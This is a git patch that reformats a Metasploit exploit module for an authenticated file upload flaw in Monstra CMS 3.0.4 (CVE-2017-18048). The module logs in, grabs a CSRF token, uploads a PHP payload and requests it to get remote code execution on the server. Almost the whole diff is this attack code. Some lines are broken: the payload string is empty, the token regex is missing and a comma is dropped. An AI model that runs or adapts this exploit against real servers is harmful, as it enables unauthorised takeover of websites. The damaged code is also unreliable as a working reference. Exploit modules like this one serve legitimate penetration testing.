From 4a835b2493fa08e43ead1b928f9ae848f83447c7 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Sat, 7 Jul 2018 17:27:09 +0530 Subject: [PATCH] fix warning, and version fix warning, and version and indentation --- .../multi/http/monstra_fileupload_exec.rb | 221 +++++++++--------- 1 file changed, 108 insertions(+), 113 deletions(-) diff --git a/modules/exploits/multi/http/monstra_fileupload_exec.rb b/modules/exploits/multi/http/monstra_fileupload_exec.rb index d537f13ebc..f85f7edc9c 100644 --- a/modules/exploits/multi/http/monstra_fileupload_exec.rb +++ b/modules/exploits/multi/http/monstra_fileupload_exec.rb @@ -4,34 +4,33 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution', - 'Description' => %q{ - MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server, - an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. - - This module was tested against MonstraCMS 3.0.4. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution', + 'Description' => %q{ + MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server, + an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. + This module was tested against MonstraCMS 3.0.4. }, + 'Author' => [ - 'Ishaq Mohammed ', # Discoverer & Proof of Concept - 'Touhid M.Shaikh ', # Metasploit Module - + 'Ishaq Mohammed ', # Discoverer & Proof of Concept + 'Touhid M.Shaikh ', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ - ['CVE','2017-18048'], - ['EDB','43348'], - ['URL','https://blogs.securiteam.com/index.php/archives/3559'], - ['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'], - ['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw'] + ['CVE','2017-18048'], + ['EDB','43348'], + ['URL','https://blogs.securiteam.com/index.php/archives/3559'], + ['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'], + ['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw'] ], 'DefaultOptions' => { @@ -55,11 +54,9 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ true, "Username to authenticate with", '']), OptString.new('PASSWORD', [ true, "Password to authenticate with", '']) ]) - end def check - res = nil begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') }) rescue @@ -72,113 +69,111 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown end - if res.body =~ /<\/a> – Version (.*.4)/i - vprint_status("Monstra CMS: " + $1) + if res.body =~ /<\/a> - Version (\d+\.\d+\.\d+)/i + version = Gem::Version.new($1) + vprint_status("Monstra CMS: #{version}") - if $1 == '3.0.4' + if version == '3.0.4' return CheckCode::Vulnerable else - return CheckCode::Detected + return CheckCode::Safe end end end - def uri - return target_uri.path - end + def uri + return target_uri.path + end - def login - res = nil - vprint_status('Trying to Login ......') - # Send Creds with cookies. - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, 'admin', 'index.php'), - 'vars_post' => { - 'login' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'login_submit' => 'Log+In', - }, - }) - cookies = res.get_cookies + def login + res = nil + vprint_status('Trying to Login ......') + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'admin', 'index.php'), + 'vars_post' => { + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'login_submit' => 'Log+In', + }, + }) + cookies = res.get_cookies - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? + fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil? + + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'admin' '/index.php'), + 'cookie' => cookies, + }) - # Try to access index page with authenticated cookie. - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'admin' '/index.php'), - 'cookie' => cookies, + fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil? - }) - - fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? - - # if we redirect to core_welcome dan we assume we have authenticated cookie. - if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard') - print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") - store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) - return cookies - else - fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") - end + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard') + print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]") + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + return cookies + else + fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") end + end - - def exploit + def exploit - #Login Function Execute and Return Cookies - cookies = login + #Login Function Execute and Return Cookies + cookies = login - #Random payload name. - pay_name = rand_text_alpha(rand(5..10)) + ".PHP" - - - # Payload Gen. - evilbyte = "" - - # Request for CSRF token for file upload. - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'), - 'method' => 'GET', - 'cookie' => cookies, - }) - - # Grabbing CSRF token from body - // =~ res.body - fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? - vprint_good("CSRF-Token for File Upload : #{csrf}") - - - - # setup POST request. - post_data = Rex::MIME::Message.new - post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP" - post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload - post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra - data = post_data.to_s - - vprint_status('Trying to upload file with malicious Content....') - # Lets Send Upload request. - res = send_request_cgi({ - 'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'), - 'method' => 'POST', - 'cookie' => cookies, - 'Connection' => 'close', - 'data' => data, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", - }) - - # Cleanup delete payload after get meterpreter. - register_files_for_cleanup(pay_name) + #Random payload name. + pay_name = rand_text_alpha(rand(5..10)) + ".PHP" - # Execute our payload simply call to payload. - print_status("Executing Payload " ) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, 'public', 'uploads', pay_name) - }) + # Payload Gen. + evilbyte = "" - end - end + # Request for CSRF token for file upload. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'admin', '/index.php'), + 'vars_get' => 'id=filesmanager' + 'method' => 'GET', + 'cookie' => cookies, + }) + + # Grabbing CSRF token from body + // =~ res.body + fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("CSRF-Token for File Upload : #{csrf}") + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP" + post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload + post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra + data = post_data.to_s + + vprint_status('Trying to upload file with malicious Content....') + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'), + 'method' => 'POST', + 'cookie' => cookies, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + + # Cleanup delete payload after get meterpreter. + register_files_for_cleanup(pay_name) + + + # Execute our payload simply call to payload. + print_status("Executing Payload " ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'public', 'uploads', pay_name) + }) + + end +end